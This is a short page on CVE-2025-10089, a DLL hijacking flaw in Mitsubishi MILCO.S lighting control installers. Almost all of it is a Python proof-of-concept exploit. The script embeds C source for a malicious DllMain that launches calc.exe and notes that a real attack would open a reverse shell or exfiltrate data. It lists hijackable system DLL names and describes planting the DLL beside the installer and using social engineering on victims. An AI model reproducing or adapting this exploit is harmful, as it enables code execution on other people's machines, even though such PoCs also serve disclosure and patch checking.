CVE-2025-10089: 三菱MILCO.S照明控制应用DLL劫持漏洞

# CVE-2025-10089 DLL Hijacking PoC # Target: MILCO.S Setting Application Installer # Vulnerability: Uncontrolled Search Path Element (DLL Hijacking) import os import ctypes from ctypes import wintypes # Create malicious DLL source code dll_source = ''' #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Malicious code execution on DLL load WinExec("calc.exe", SW_SHOWNORMAL); // Example: Launch calculator // In real attack: reverse shell, data exfiltration, etc. MessageBox(NULL, "DLL Hijacking Successful - CVE-2025-10089", "PoC", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' # Common DLL names that may be hijacked target_dlls = [ "version.dll", "winhttp.dll", "secur32.dll", "iertutil.dll", "urlmon.dll", "imagehlp.dll" ] def create_malicious_dll(dll_name, output_path): """Generate malicious DLL file""" dll_path = os.path.join(output_path, dll_name) # In real PoC: compile DLL or use precompiled DLL print(f"[*] Creating malicious DLL: {dll_path}") # Simulated DLL creation return dll_path def setup_attack_environment(installer_path, dll_name): """Prepare attack environment by placing malicious DLL alongside installer""" installer_dir = os.path.dirname(installer_path) malicious_dll = os.path.join(installer_dir, dll_name) print(f"[*] Placing {dll_name} in: {installer_dir}") print(f"[*] When installer runs, it will load our malicious DLL") print(f"[*] Social engineering needed to get victim to run modified installer") return malicious_dll def check_if_vulnerable(): """Check if application is vulnerable by examining digital signature""" print("[*] Checking for 'Mitsubishi Electric Lighting' digital signature...") print("[*] If signed by 'Mitsubishi Electric Lighting' = PATCHED") print("[*] If not signed or different signer = VULNERABLE") if __name__ == "__main__": print("=== CVE-2025-10089 DLL Hijacking PoC ===") print("Target: MILCO.S Lighting Control Application Installers") print("Attack Vector: Local (installer execution)") print("Note: This is for educational purposes only") check_if_vulnerable()